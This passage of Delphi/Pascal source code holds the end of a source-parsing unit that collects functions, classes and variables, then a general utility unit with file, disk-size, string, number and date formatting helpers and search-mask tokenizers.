(AName = '') then Result := nil else begin Result := TVariableInfo.Create; if AOwner is TFunctionInfo then AddInfo(Result, AName, sGlobalDecl, TFunctionInfo(AOwner).GlobalDecls) end; end; function TUnitInfo.AddUsedVar(const AName: string; AOwner: TElementInfo): TVariableInfo; var n: string; begin Result := nil; if AOwner is TFunctionInfo then if (AName <> '') then begin if AnsiEndsStr('->', AName) then n := Copy(AName, 1, Length(AName) - 2) else n := AName; if TFunctionInfo(AOwner).UsedVars.IndexOf(n) = -1 then begin Result := TVariableInfo.Create; AddInfo(Result, n, sUsedVar, TFunctionInfo(AOwner).UsedVars) end; end; end; function TUnitInfo.AddConst(const AName: string; AOwner: TElementInfo): TConstantInfo; begin if (AName = '') then Result := nil else begin Result := TConstantInfo.Create; if AOwner = nil then AddInfo(Result, AName, sPublic, Constants) else if AOwner is TFunctionInfo then AddInfo(Result, AName, sLocalVar, TFunctionInfo(AOwner).LocalVars); //else if AOwner is TClassInfo then // AddInfo(Result, AName, sLocalVar, TClassInfo(AOwner).Fields) end; end; procedure TUnitInfo.ParseStrings(AStrings: TStrings); var s: string; begin if FParser = nil then Exit; with FParser do begin Strings := AStrings; Reset; while not EndOfSource do begin case NextValidToken of tresword: begin s := TokenString; if s = sFuncStr then ProcessFunction(NextValidTokenStr, true, Functions) else if s = sClassStr then ProcessClass(NextValidTokenStr, true) else if (CompareText(s, sVarStr) = 0) then ProcessVariable(NextValidTokenStr); end; end; end; Strings := nil; end; end; procedure TUnitInfo.ReparseStrings(Strings: TStrings); begin ClearStrings(FVariables); ClearStrings(FFunctions); ClearStrings(FClasses); ClearStrings(FConstants); if Strings <> nil then ParseStrings(Strings); end; function TUnitInfo.NextValidToken: Integer; begin repeat Result := FParser.NextToken; until (Result <> tComment) and (Result <> tNone) and (Result <> twhitespace); end; function TUnitInfo.NextValidTokenStr: string; begin NextValidToken; Result := FParser.TokenString; end; procedure TUnitInfo.ParseLocalVars(Info: TElementInfo); var varAdded: boolean; i: Integer; ts: string; begin varAdded := false; with FParser do while not EndOfSource do begin i := NextToken; ts := TokenString; if ts = ',' then varAdded := false; if ts = ';' then exit; if (i <> tComment) and (i <> tNone) and (i <> twhitespace) then begin if varAdded then exit; AddVariable(ts, info); varAdded := true; end; end; end; procedure TUnitInfo.ParseGlobalDecls(Info: TElementInfo); var added: boolean; i: Integer; ts: string; begin added := false; with FParser do while not EndOfSource do begin i := NextToken; ts := TokenString; if ts = ',' then added := false; if ts = ';' then exit; if (i <> tComment) and (i <> tNone) and (i <> twhitespace) then begin if added then exit; AddGlobalDecl(ts, Info); added := true; end; end; end; procedure TUnitInfo.ProcessFunction(const s: string; SkipToEnd: boolean; inList: TStrings); var i : Integer; Info : TFunctionInfo; Count: Integer; Temp : string; procedure ParseParams(Info: TFunctionInfo); begin FParser.NextToken; Temp := FParser.TokenString; if Temp <> sLeftBracket then exit; with FParser do while not EndOfSource do begin i := NextToken; Temp := TokenString; if Temp = sRightBracket then exit; if (i <> tComment) and (i <> tNone) and (i <> twhitespace) then AddParam(Temp, Info.Params); end; end; begin Info := AddFunction(s, inList); if Info = nil then Exit; Info.LineNo := GetLinePos; ParseParams(Info); if SkipToEnd then begin Info.StartPos := GetLinePos; // ParseLocalVars(Info); Count := 0; with FParser do while not EndOfSource do begin i := NextToken; // SJM 2004 if i = tstring then continue; Temp := TokenString; //if (Count = 1) and (Temp = sVarStr) then // ParseLocalVars(Info); if (Count = 1) and (Temp = sGlobalDeclStr) then ParseGlobalDecls(Info) else if (Count = 1) and (Temp <> '') and (Temp[1] = '$') then AddUsedVar(temp, info) else if Temp = sGroupBegin then Inc(Count) else if Temp = sGroupEnd then begin Dec(Count); if Count = 0 then Break; end; end; Info.EndPos := GetLinePos; end; end; procedure TUnitInfo.ProcessVariable(const s: string); var Info: TVariableInfo; begin Info := AddVariable(s, nil); if Info = nil then Exit; Info.LineNo := GetLinePos; end; function TUnitInfo.GetLinePos: Integer; begin Result := TMParser(FParser).LineIndex; end; procedure TUnitInfo.ProcessClass(const s: string; SkipToEnd: boolean); var i: Integer; info: TClassInfo; count: Integer; ts: string; begin info := AddClass(s); if info = nil then exit; info.LineNo := GetLinePos; if SkipToEnd then begin info.StartPos := GetLinePos; count := 0; with FParser do while not EndOfSource do begin i := NextToken; // SJM 2004 if i = tstring then continue; ts := TokenString; if ts = sFuncStr then ProcessFunction(NextValidTokenStr, true, info.FMethods); if (Count = 1) and (ts = sVarStr) then ParseLocalVars(Info); if ts = sGroupBegin then Inc(count) else if ts = sGroupEnd then begin Dec(count); if count = 0 then break; end; end; Info.EndPos := GetLinePos; end; end; end.
unit UBaseUtils; (*==================================================================== Useful functions of general usage ======================================================================*) interface uses UTypes, UCollections, UApiTypes, UBaseTypes, UCollectionsExt; const // for remove spaces rsLeft = 1; rsRight = 2; rsAll = 4; ByteRandSeed: word = $FF; type TDisks = array['A'..'Z'] of boolean; TExtStr = string[4]; TQDateTime = record Year, Month, Day, Hour, Min, Sec: Word; end; var WinDateFormat, SaveWinDateFormat: (wd_mdy, wd_ymd, wd_dmy, wd_WinShort); kBDivider: Integer; function ReplaceExt (FileName: ShortString; NewExt: TExtStr; Force: Boolean): ShortString; function FileExists (FName: ShortString): boolean; function DirExists (FName: ShortString): boolean; function TestFileCreation (sFileName: AnsiString): boolean; {$ifdef mswindows} procedure QGetDiskSizes (DriveNum: Byte; var lSizeKbytes, lFreeKbytes, lBytesPerSector, lSectorsPerCluster: longword); {$else} procedure QGetDiskSizes (DriveNum: ShortString; var lSizeKbytes, lFreeKbytes, lBytesPerSector, lSectorsPerCluster: longword); {$endif} procedure FSplit (Path: ShortString; var Dir, Name, Ext: ShortString); function ExtractDir (Path: ShortString): ShortString; function GetProgramDir: ShortString; function ChrUpCase (Ch: char) : char; function ChrLoCase (Ch: char) : char; function ConvertCh (Line: ShortString; Old, New: char): ShortString; function DeleteAllSpaces (St: ShortString) : ShortString; function TrimSpaces (St: ShortString) : ShortString; function RemoveRedundSpaces (St: ShortString): ShortString; function RemoveSpaces (St: ShortString; Which: byte): ShortString; function LimitCharsInPath(St: ShortString; Number: integer): ShortString; function BlockCompare (var Buf1, Buf2; BufSize : Word): Boolean; function BlockCompare2 (var Buf1, Buf2; BufSize : Word): Boolean; function HexStr (Number:longint; Len: byte) : ShortString; function OctStr (Number:longint; Len: byte) : ShortString; function NumStr (Number:longint; Format: byte): ShortString; function LeadZeroStr (Number:longint; Len: byte) : ShortString; function RemoveTabs (S: ShortString): ShortString; function InsertTabs (S: ShortString): ShortString; function ByteRandom: byte; function MinI (X, Y: Integer): Integer; function MaxI (X, Y: Integer): Integer; function MinW (X, Y: Word): Word; function MaxW (X, Y: Word): Word; function MinLI (X, Y: Longint): Longint; function MaxLI (X, Y: Longint): Longint; function LPos (var Block; Size: Word; Str: ShortString): Word; function RPos (var Block; Size: Word; Str: ShortString): Word; function GetPQString (P: TPQString): ShortString; function DosTimeToStr (DosDateTime: longint; IncludeSeconds: boolean): ShortString; function DosDateToStr (DosDateTime: longint): ShortString; function FormatSize (Size: longint; ShortFormat: boolean): ShortString; function FormatBigSize (Size: comp): ShortString; function FormatNumber (Number: longint): ShortString; function GetNewTag: Integer; procedure TokenFilterMask (var AllMasksArray: TAllMasksArray; var MaskCol, DllCol: TPQCollection; CaseSensitive: boolean); procedure TokenFindMask (Mask: ShortString; var MaskCol: TPQCollection; CaseSensitive: boolean; AddWildCards: boolean; AsPhrase: boolean); function MaskCompare (OneMask, S: ShortString; CaseSensitive: boolean; Strict: boolean): boolean; function MaskCompareBuf (OneMask: ShortString; Buf: PChar; CaseSensitive: boolean; AnsiCompare: boolean; OemCompare: boolean): longint; // UnpackTime converts a 4-byte packed date/time returned by // FindFirst, FindNext or GetFTime into a TQDateTime record. procedure UnpackTime(P: Longint; var T: TQDateTime); // PackTime converts a TQDateTime record into a 4-byte packed // date/time used by SetFTime. procedure PackTime(var T: TQDateTime; var P: Longint); procedure AddToBuffer(CalcOnly: boolean; S: ShortString; var BufferPos: PChar; var TotalLength: longint); //----------------------------------------------------------------------------- implementation uses SysUtils, {$ifdef mswindows} WinProcs {$ELSE} LCLIntf, LCLType, LMessages {$ENDIF} ; type TGetDiskFreeSpaceEx = function (lpDirectoryName: PAnsiChar; var FreeBytesAvailableToCaller: Comp; var TotalNumberOfBytes: Comp; var TotalNumberOfFreeBytes: Comp): longint; stdcall; var GetDiskFreeSpaceEx: TGetDiskFreeSpaceEx; //----------------------------------------------------------------------------- // Replace the extension of the given file with the given extension. // If the an extension already exists Force indicates if it should be // replaced anyway. function ReplaceExt (FileName: ShortString; NewExt: TExtStr; Force: Boolean): ShortString; var Dir : ShortString; Name: ShortString; Ext : ShortString; begin FSplit(FileName, Dir, Name, Ext); if Force or (Ext = '') then ReplaceExt := Dir + Name + NewExt else ReplaceExt := FileName; end; //----------------------------------------------------------------------------- function FileExists(FName: ShortString): boolean; var DirInfo: TSearchRec; begin Result := SysUtils.FindFirst(FName, faReadOnly or faSysfile or faArchive or faHidden, DirInfo) = 0; if (Result) then Result := (DirInfo.Attr and faDirectory) = 0; SysUtils.FindClose(DirInfo); end; //----------------------------------------------------------------------------- function DirExists(FName: ShortString): boolean; var DirInfo: TSearchRec; begin {$ifdef mswindows} if (length(FName) = 3) and (FName[2] = ':') and (FName[3] = '\') then begin Result := true; // it is root exit; end; if FName[length(FName)] = '\' then dec(FName[0]); Result := SysUtils.FindFirst(FName, faDirectory, DirInfo) = 0; if (Result) then Result := (DirInfo.Attr and faDirectory) <> 0; SysUtils.FindClose(DirInfo); {$else} Result:=DirectoryExists(FNAme); {$endif} end; //----------------------------------------------------------------------------- function TestFileCreation (sFileName: AnsiString): boolean; var Handle: longword; begin {$ifdef mswindows} Handle := CreateFile(PChar(sFileName), GENERIC_READ or GENERIC_WRITE, 0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); if Handle = INVALID_HANDLE_VALUE then begin Result := false; exit; end; CloseHandle(Handle); DeleteFile(PChar(sFileName)); {$endif} Result := true; end; //----------------------------------------------------------------------------- function IsWin95Osr2OrLater: boolean; {$ifdef mswindows} var OsVersionInfo: TOSVersionInfo; begin OsVersionInfo.dwOSVersionInfoSize := sizeof(OsVersionInfo); GetVersionEx(OsVersionInfo); if (OsVersionInfo.dwPlatformId = VER_PLATFORM_WIN32_WINDOWS) and ((OsVersionInfo.dwBuildNumber and $0000FFFF) > 1000) then Result := true else Result := false; {$else} begin result:=true ; {$endif} end; //----------------------------------------------------------------------------- {$ifdef mswindows} procedure QGetDiskSizes (DriveNum: Byte; var lSizeKbytes, lFreeKbytes, lBytesPerSector, lSectorsPerCluster: longword); var DriveSpec: array[0..3] of char; SectorsPerCluster : longword; BytesPerSector : longword; NumberOfFreeClusters : longword; TotalNumberOfClusters : longword; RSectorsPerCluster : comp; RBytesPerSector : comp; RNumberOfFreeClusters : comp; RTotalNumberOfClusters: comp; RFreeKb : comp; RSizeKb : comp; FreeBytesAvailableToCaller : Comp; TotalNumberOfBytes : Comp; TotalNumberOfFreeBytes : Comp; begin DriveSpec[0] := Char(DriveNum + Ord('A')-1); DriveSpec[1] := ':'; DriveSpec[2] := '\'; DriveSpec[3] := #0; if Assigned(GetDiskFreeSpaceEx) then begin if GetDiskFreeSpaceEx(DriveSpec, FreeBytesAvailableToCaller, TotalNumberOfBytes, TotalNumberOfFreeBytes) <> 0 then begin RSizeKb := TotalNumberOfBytes / 1024; RFreeKb := TotalNumberOfFreeBytes / 1024; lSizeKbytes := round(RSizeKb); lFreeKbytes := round(RFreeKb); lBytesPerSector := 0; lSectorsPerCluster := 0; end else begin lSizeKbytes := 0; lFreeKbytes := 0; lBytesPerSector := 0; lSectorsPerCluster := 0; end; end else begin if GetDiskFreeSpace(DriveSpec, SectorsPerCluster, BytesPerSector, NumberOfFreeClusters, TotalNumberOfClusters) then begin RSectorsPerCluster := SectorsPerCluster; RBytesPerSector := BytesPerSector; RNumberOfFreeClusters := NumberOfFreeClusters; RTotalNumberOfClusters := TotalNumberOfClusters; RSizeKb := (RSectorsPerCluster*RBytesPerSector*RTotalNumberOfClusters) / 1024; RFreeKb := (RSectorsPerCluster*RBytesPerSector*RNumberOfFreeClusters) / 1024; lSizeKbytes := round(RSizeKb); lFreeKbytes := round(RFreeKb); lBytesPerSector := BytesPerSector; lSectorsPerCluster := SectorsPerCluster; end else begin lSizeKbytes := 0; lFreeKbytes := 0; lBytesPerSector := 0; lSectorsPerCluster := 0; end; end; end; {$else} procedure QGetDiskSizes (DriveNum: ShortString; var lSizeKbytes, lFreeKbytes, lBytesPerSector, lSectorsPerCluster: longword); var i: byte; ///lSizeKbytes := 0; ///lFreeKbytes := 0; begin i:=AddDisk(DriveNum); lBytesPerSector := 0; lSectorsPerCluster := 0; lSizeKbytes := round(DiskSize(i) / 1024); lFreeKbytes := round(DiskFree(i) / 1024); {$endif} end; //----------------------------------------------------------------------------- // Splits path to Dir, Name and Ext procedure FSplit (Path: ShortString; var Dir, Name, Ext: ShortString); var i, DotPos, SlashPos: Integer; begin Dir := ''; Name := ''; Ext := ''; {$ifdef mswindows} i := pos(':', Path); if i > 0 then begin Dir := ShortCopy(Path, 1, i); ShortDelete (Path, 1, i); end; DotPos := 0; for i:=length(Path) downto 1 do if Path[i] = '.' then begin if i >= length(Path) - 3 then DotPos := i; break; end; SlashPos := 0; for i:=length(Path) downto 1 do if Path[i] = '\' then begin SlashPos := i; break; end; if DotPos > SlashPos then begin Ext := ShortCopy(Path, DotPos, length(Path)-DotPos+1); ShortDelete(Path, DotPos, length(Path)-DotPos+1); end; if SlashPos > 0 then begin Name := ShortCopy(Path, SlashPos+1, length(Path)-SlashPos); ShortDelete(Path, SlashPos+1, length(Path)-SlashPos); Dir := Dir + Path; end else Name := Path; {$else} dir := ExtractFileDir(path); Name := ExtractFileName(path); ext := ExtractFileExt(path); Name := copy(Name,1,length(Name)-length(Ext)); {$endif} end; //----------------------------------------------------------------------------- // Extracts dir from path function ExtractDir (Path: ShortString): ShortString; var i, SlashPos: Integer; begin Result := ''; SlashPos := 0; for i:=length(Path) downto 1 do if Path[i] = '\' then begin SlashPos := i; break; end; if SlashPos > 1 then Result := ShortCopy(Path, 1, SlashPos-1); end; //----------------------------------------------------------------------------- function GetProgramDir: ShortString; var Dir : ShortString; Name: ShortString; Ext : ShortString; begin FSplit(ParamStr(0),Dir,Name,Ext); GetProgramDir := Dir; end; //----------------------------------------------------------------------------- // Creates directory including all subfolders function MakeDirectory (Dir: ShortString): boolean; var TmpDir, SaveDir : ShortString; i : byte; begin MakeDirectory := false; GetDir (0,SaveDir); i := pos('\',Dir); if i = 0 then begin ChDir(SaveDir); exit; end; TmpDir := ShortCopy(Dir,1,i); ShortDelete(Dir,1,i); ChDir(TmpDir); if IOResult <> 0 then begin ChDir(SaveDir); exit; end; while Dir <> '' do begin i := pos('\',Dir); if i=0 then begin TmpDir := Dir; Dir := ''; end else begin TmpDir := ShortCopy(Dir,1,pred(i)); ShortDelete(Dir,1,i); end; ChDir(TmpDir); if IOResult <> 0 then begin MkDir(TmpDir); ChDir(TmpDir); end; if IOResult <> 0 then begin ChDir(SaveDir); exit; end; end; ChDir(SaveDir); MakeDirectory := true; end; //----------------------------------------------------------------------------- function ChrUpCase (Ch: char): char; begin ChrUpCase := UpCase(Ch); end; //----------------------------------------------------------------------------- function ChrLoCase (Ch: char): char; begin if (Ch >= 'a') and (Ch <= 'z') then ChrLoCase := char(byte(Ch)+32) else ChrLoCase := Ch; end; //----------------------------------------------------------------------------- // Replaces all specified chars in the string function ConvertCh (Line: ShortString; Old, New: char): ShortString; var i : byte; begin for i := 1 to length(Line) do if Line[i] = Old then Line[i] := New; ConvertCh := Line; end; //----------------------------------------------------------------------------- // Delets all spaces in the string function DeleteAllSpaces (St: ShortString): ShortString; var i : byte; begin repeat i := pos(' ',St); if i > 0 then ShortDelete(St,i,1); until i = 0; DeleteAllSpaces := St; end; //----------------------------------------------------------------------------- function TrimSpaces (St: ShortString): ShortString; begin while (length(St) > 0) and (St[1] = ' ') do ShortDelete(St,1,1); while (length(St) > 0) and (St[length(St)] = ' ') do ShortDelete(St,length(St),1); TrimSpaces := St; end; //----------------------------------------------------------------------------- // Trims spaces at the beginning and at the end, and removes redundant spaces function RemoveRedundSpaces (St: ShortString): ShortString; var i: byte; begin St := TrimSpaces(St); i := pos(' ',St); while i > 0 do begin ShortDelete(St,i,1); i := pos(' ',St); end; RemoveRedundSpaces := St; end; //----------------------------------------------------------------------------- // Removes all spaces function RemoveSpaces (St: ShortString; Which: byte): ShortString; var i : byte; begin if Which and rsLeft <> 0 then while ShortCopy(St,1,1) = ' ' do ShortDelete(St,1,1); if Which and rsRight <> 0 then while ShortCopy(St,length(St),1) = ' ' do ShortDelete(St,length(St),1); if Which and rsAll <> 0 then repeat i := pos(' ', St); if i > 0 then ShortDelete(St,i,1); until i = 0; RemoveSpaces := St; end; //----------------------------------------------------------------------------- // Ff the path is too long, replaces the middle part with "..." function LimitCharsInPath(St: ShortString; Number: integer): ShortString; var iFirstBackSlashPos: integer; iSecondBackSlashPos: integer; iLastSecondBackSlashPos: integer; DirChar: char; begin Result := St; {$ifdef mswindows} DirChar:='\'; {$else} DirChar:='/'; {$endif} if (length(St) <= Number) then exit; iLastSecondBackSlashPos := 0; repeat iFirstBackSlashPos := pos(DirChar, St); if (iFirstBackSlashPos = 0) then exit; // this should not happen St[iFirstBackSlashPos] := '|'; if (iLastSecondBackSlashPos > 0) then St[iLastSecondBackSlashPos] := '|'; iSecondBackSlashPos := pos(DirChar, St); if (iLastSecondBackSlashPos > 0) then St[iLastSecondBackSlashPos] := DirChar; St[iFirstBackSlashPos] := DirChar; if iSecondBackSlashPos > 0 then begin delete(St, iFirstBackSlashPos+1, iSecondBackSlashPos-iFirstBackSlashPos-1); insert('...', St, iFirstBackSlashPos+1); iLastSecondBackSlashPos := iFirstBackSlashPos + 4; end; until ((length(St)<=Number) or (iSecondBackSlashPos=0)); Result := St; end; //----------------------------------------------------------------------------- // Compares 2 blocks of memory function BlockCompare (var Buf1, Buf2; BufSize : Word): Boolean; var ABuf1: array[1..64*1024-1] of byte absolute Buf1; ABuf2: array[1..64*1024-1] of byte absolute Buf2; i : Integer; begin Result := false; for i := 1 to BufSize do if ABuf1[i] <> ABuf2[i] then exit; Result := true; end; //----------------------------------------------------------------------------- // Compares 2 blocks of memory starting with 2nd byte function BlockCompare2 (var Buf1, Buf2; BufSize : Word): Boolean; var ABuf1: array[1..64*1024-1] of byte absolute Buf1; ABuf2: array[1..64*1024-1] of byte absolute Buf2; i : Integer; begin Result := false; for i := 2 to BufSize do if ABuf1[i] <> ABuf2[i] then exit; Result := true; end; //============================================================================= // Converts number to hex string. function HexStr (Number:longint; Len: byte) : ShortString; var S : ShortString; i : byte; DigitNum : byte; begin S := ''; for i := 1 to 8 do begin DigitNum := Number and $0000000F; Number := Number shr 4; if DigitNum > 9 then DigitNum := DigitNum + 7; S := chr(DigitNum + ord('0')) + S; end; while (length(S) < Len) do S := '0' + S; while (length(S) > Len) and (S[1] = '0') do ShortDelete(S,1,1); HexStr := S; end; //----------------------------------------------------------------------------- // Converts number to octal string. function OctStr (Number:longint; Len: byte) : ShortString; var S : ShortString; i : byte; DigitNum : byte; begin S := ''; for i := 1 to 11 do begin DigitNum := Number and $00000007; Number := Number shr 3; S := chr(DigitNum + ord('0')) + S; end; while (length(S) < Len) do S := '0' + S; while (length(S) > Len) and (S[1] = '0') do ShortDelete(S,1,1); OctStr := S; end; //----------------------------------------------------------------------------- // Converts number to decimal string. function NumStr (Number: longint; Format: byte): ShortString; var S : ShortString; begin Str(Number:Format, S); NumStr := S; end; //----------------------------------------------------------------------------- // Adds leading zeros to specified length function LeadZeroStr(Number: longint; Len: byte): ShortString; var St: ShortString; begin Str(Number:1,St); while length(St) < Len do St := '0' + St; LeadZeroStr := St; end; //----------------------------------------------------------------------------- function RemoveTabs (S: ShortString): ShortString; var i,j : Integer; begin i := pos(^I, S); while i > 0 do begin ShortDelete(S,i,1); for j:= 1 to 8 do ShortInsert(' ',S,i); i := i + 8; while pred(i) mod 8 > 0 do begin ShortDelete(S,pred(i),1); dec(i); end; i := pos(^I,S); end; RemoveTabs := S; end; //----------------------------------------------------------------------------- // Replaces every 8 spaces by tab function InsertTabs (S: ShortString): ShortString; {=================== } var i,j : Integer; Octal : ShortString; OutS : ShortString; begin OutS := ''; for i := 0 to length(S) div 8 do begin Octal := ShortCopy(S,i*8+1,8); if length(Octal) = 8 then if ShortCopy(Octal,7,2) = ' ' then begin j:=8; while (j > 0) and (Octal[j]=' ') do dec(j); ShortDelete(Octal,succ(j),8-j); Octal := Octal + ^I; end; OutS := OutS + Octal; end; InsertTabs := OutS; end; //----------------------------------------------------------------------------- function MinI (X, Y: Integer): Integer; begin if X > Y then Result := Y else Result := X; end; //----------------------------------------------------------------------------- function MaxI (X, Y: Integer): Integer; begin if X < Y then Result := Y else Result := X; end; //----------------------------------------------------------------------------- function MinW (X, Y: Word): Word; begin if X > Y then Result := Y else Result := X; end; //----------------------------------------------------------------------------- function MaxW (X, Y: Word): Word; begin if X < Y then Result := Y else Result := X; end; //----------------------------------------------------------------------------- function MinLI (X, Y: longint): longint; begin if X > Y then Result := Y else Result := X; end; //----------------------------------------------------------------------------- function MaxLI (X, Y: longint): longint; begin if X < Y then Result := Y else Result := X; end; //----------------------------------------------------------------------------- // Finds a string in a binary block of data, first position is 1, 0 means not found function LPos (var Block; Size: Word; Str: ShortString): Word; var Buf : array[1..$FFFF] of char absolute Block; i,j : word; Found : boolean; begin LPos := 0; if Str[0] = #0 then exit; for i := 1 to Size-length(Str)+1 do begin if Buf[i] = Str[1] then begin Found := (i - 1 + length(Str)) <= Size; j := 2; while Found and (j <= length(Str)) do begin if Buf[i+j-1] <> Str[j] then Found := false; inc(j); end; if Found then begin LPos := i; exit; end; end; end; end; //----------------------------------------------------------------------------- // Finds a string in a binary block of data from right, first // position is 1, 0 means not found function RPos (var Block; Size: Word; Str: ShortString): Word; var Buf : array[1..$FFFF] of char absolute Block; i,j : longint; Found : boolean; begin RPos := 0; if Str[0] = #0 then exit; if Size < length(Str) then exit; for i := Size-length(Str)+1 downto 1 do begin if Buf[i] = Str[1] then begin Found := (i - 1 + length(Str)) <= Size; j := 2; while Found and (j <= length(Str)) do begin if Buf[i+j-1] <> Str[j] then Found := false; inc(j); end; if Found then begin RPos := i; exit; end; end; end; end; //----------------------------------------------------------------------------- // deletes Ctrl-C form the string and adjusts single CRs to CRLFs function ConvertCtrlCAndCRLF (S: ShortString): ShortString; var i: byte; begin i := pos(^C, S); while i > 0 do begin ShortDelete(S, i, 1); i := pos(^C, S); end; i := 1; while i <= length(S) do begin if S[i] = #13 then ShortInsert(#10, S, succ(i)); inc(i); end; ConvertCtrlCAndCRLF := S; end; //----------------------------------------------------------------------------- // Converts dynammically allocated string to normal string, avoids crash if the // string is nil function GetPQString (P: TPQString): ShortString; begin if P = nil then GetPQString := '' else GetPQString := P^; end; //----------------------------------------------------------------------------- function DosTimeToStr (DosDateTime: longint; IncludeSeconds: boolean): ShortString; var Hour, Min, Sec: word; begin Sec := (DosDateTime and $1F) shl 1; DosDateTime := DosDateTime shr 5; Min := DosDateTime and $3F; DosDateTime := DosDateTime shr 6; Hour := DosDateTime and $1F; if IncludeSeconds then DosTimeToStr := Format('%d'+TimeSeparator+'%2.2d'+TimeSeparator+'%2.2d', [Hour, Min, Sec]) else DosTimeToStr := Format('%d'+TimeSeparator+'%2.2d', [Hour, Min]); end; //----------------------------------------------------------------------------- function DosDateToStr (DosDateTime: longint): ShortString; var Year, Year2Digits, Month, Day: word; begin DateSeparator:='.'; DosDateTime := DosDateTime shr 16; Day := DosDateTime and $1F; DosDateTime := DosDateTime shr 5; Month := DosDateTime and $0F; DosDateTime := DosDateTime shr 4; Year := DosDateTime + 1980; Year2Digits := Year mod 100; case WinDateFormat of wd_mdy: DosDateToStr := Format('%d'+DateSeparator+'%d'+DateSeparator+'%2.2d', [Month, Day, Year2Digits]); wd_ymd: DosDateToStr := Format('%2.2d'+DateSeparator+'%d'+DateSeparator+'%d', [Year2Digits, Month, Day]); ///wd_dmy: DosDateToStr := Format('%d'+DateSeparator+'%d'+DateSeparator+'%2.2d', [Day, Month, Year2Digits]); wd_dmy: DosDateToStr := Format('%d'+DateSeparator+'%d'+DateSeparator+'%d', [Day, Month, Year]); else {WinShort} try DosDateToStr := DateToStr(EncodeDate(Year, Month, Day)); except On EConvertError do DosDateToStr := Format('%d'+DateSeparator+'%d'+DateSeparator+'%2.2d', [Day, Month, Year2Digits]); end; end; end; //----------------------------------------------------------------------------- // Formats Size to displayable string (in bytes, kB, MB, ...) function FormatSize(Size: longint; ShortFormat: boolean): ShortString; var FSize : real; S : ShortString; begin if ShortFormat then begin FSize := Size; FSize := FSize / kBDivider; if FSize >= kBDivider then begin FSize := FSize / kBDivider; if FSize < 10 then S := Format('%2.2n MB', [FSize]) else S := Format('%2.1n MB', [FSize]); end else if FSize < 10 then S := Format('%2.2n kB', [FSize]) else S := Format('%2.1n kB', [FSize]); end else begin S := IntToStr(Size); if S[0] > #3 then ShortInsert(' ', S, length(S) -2); if S[0] > #7 then ShortInsert(' ', S, length(S) -6); if S[0] > #11 then ShortInsert(' ', S, length(S)-10); end; FormatSize := S; end; //----------------------------------------------------------------------------- // Formats big size to displayable string (in MB or GB) function FormatBigSize(Size: comp): ShortString; var FSize : Double; S : ShortString; begin FormatSettings.DecimalSeparator:=','; if Size > kBDivider then begin FSize := Size; FSize := FSize / kBDivider; if FSize >= kBDivider then begin FSize := FSize / kBDivider; if FSize >= kBDivider then begin FSize := FSize / kBDivider; if FSize < 10 then S := Format('%2.2n GB', [FSize]) else S := Format('%2.1n GB', [FSize]); end else begin if FSize < 10 then S := Format('%2.2n MB', [FSize]) else S := Format('%2.1n MB', [FSize]); end end else if FSize < 10 then S := Format('%2.2n kB', [FSize]) else S := Format('%2.1n kB', [FSize]); end else begin if Size = 0 then S := '0' else S := Format('%2.0n B', [Size]); end; FormatBigSize := S; end; //----------------------------------------------------------------------------- // inserts spaces at thousands, millions etc. function FormatNumber(Number: longint): ShortString; begin Result := IntToStr(Number); if Result[0] > #3 then ShortInsert(' ', Result, length(Result) -2); if Result[0] > #7 then ShortInsert(' ', Result, length(Result) -6); if Result[0] > #11 then ShortInsert(' ', Result, length(Result)-10); end; //----------------------------------------------------------------------------- const TagCounter: Integer = 0; // returns unique number function GetNewTag: Integer; begin inc(TagCounter); GetNewTag := TagCounter; end; //----------------------------------------------------------------------------- // Dispatches the filter mask string to a collection of single masks procedure TokenFilterMask (var AllMasksArray: TAllMasksArray; var MaskCol, DllCol: TPQCollection; CaseSensitive: boolean); var i, j : Integer; OneMask : POneMask; Mask : ShortString; kBytes : ShortString; ConvDllName: ShortString; Dll : PDll; Found : boolean; begin MaskCol^.FreeAll; if not CaseSensitive then AnsiLowerCase(AllMasksArray); i := 0; while AllMasksArray[i] <> #0 do begin Mask := ''; while (AllMasksArray[i] <> '|') and (AllMasksArray[i] <> #0) do begin Mask := Mask + AllMasksArray[i]; inc(i); end; if (AllMasksArray[i] <> #0) then inc(i); kBytes := ''; while (AllMasksArray[i] <> '|') and (AllMasksArray[i] <> #0) do begin kBytes := kBytes + AllMasksArray[i]; inc(i); end; if (AllMasksArray[i] <> #0) then inc(i); ConvDllName := ''; while (AllMasksArray[i] <> '|') and (AllMasksArray[i] <> #0) do begin ConvDllName := ConvDllName + AllMasksArray[i]; inc(i); end; if (AllMasksArray[i] <> #0) then inc(i); OneMask := New(POneMask, Init); OneMask^.MaskName := QNewStr(Mask); OneMask^.MaxSize := StrToInt(kBytes); if OneMask^.MaxSize < 100 then {kvuli starym kB} OneMask^.MaxSize := OneMask^.MaxSize * 1000; if ConvDllName = '' then OneMask^.ConvDll := nil else begin Found := false; for j := 0 to pred(DllCol^.Count) do if PDll(DllCol^.At(j))^.DllName = ConvDllName then begin Found := true; OneMask^.ConvDll := PDll(DllCol^.At(j)); break; end; if not Found then begin Dll := New(PDll, Init(ConvDLLName)); OneMask^.ConvDll := Dll; DllCol^.Insert(Dll); end; end; MaskCol^.Insert(OneMask); end; end; //---------------------------------------------------------------------------- // Dispatches the find mask string to a collection of single masks // Syntax: the masks are separated by spaces or semicolons. When the space // is not a separator, the phrase must be in doublequotes. // To search a doublequote, write is twice. procedure TokenFindMask (Mask: ShortString; var MaskCol: TPQCollection; CaseSensitive: boolean; AddWildCards: boolean; AsPhrase: boolean); var i,j : byte; OneMask: POneMask; S : ShortString; IsBetweenQuot: boolean; begin MaskCol^.FreeAll; if AsPhrase then begin if ShortCopy(Mask, 1, 1) <> '"' then Mask := '"' + Mask; if ShortCopy(Mask, length(Mask), 1) <> '"' then Mask := Mask + '"'; end; i := pos(';', Mask); while i > 0 do begin if AsPhrase then begin ShortDelete(Mask, i, 1); ShortInsert('" "', Mask, i); end else Mask[i] := ' '; i := pos(';', Mask); end; // " replaced by #1 i := pos('""', Mask); while i > 0 do begin Mask[i] := #1; ShortDelete(Mask, i+1, 1); i := pos('""', Mask); end; // spaces replaced by #2 IsBetweenQuot := false; for i := 1 to length(Mask) do begin if Mask[i] = '"' then IsBetweenQuot := not IsBetweenQuot; if (Mask[i] = ' ') and IsBetweenQuot then Mask[i] := #2; end; Mask := RemoveRedundSpaces(Mask) + ' '; if not CaseSensitive then Mask := AnsiLowerCase(Mask); // the space is after EACH mask while Mask <> '' do begin i := pos(' ', Mask); S := ShortCopy(Mask,1,pred(i)); if ShortCopy(S, 1, 1) = '"' then ShortDelete(S, 1, 1); if ShortCopy(S, length(S), 1) = '"' then dec(S[0]); for j := 1 to length(S) do 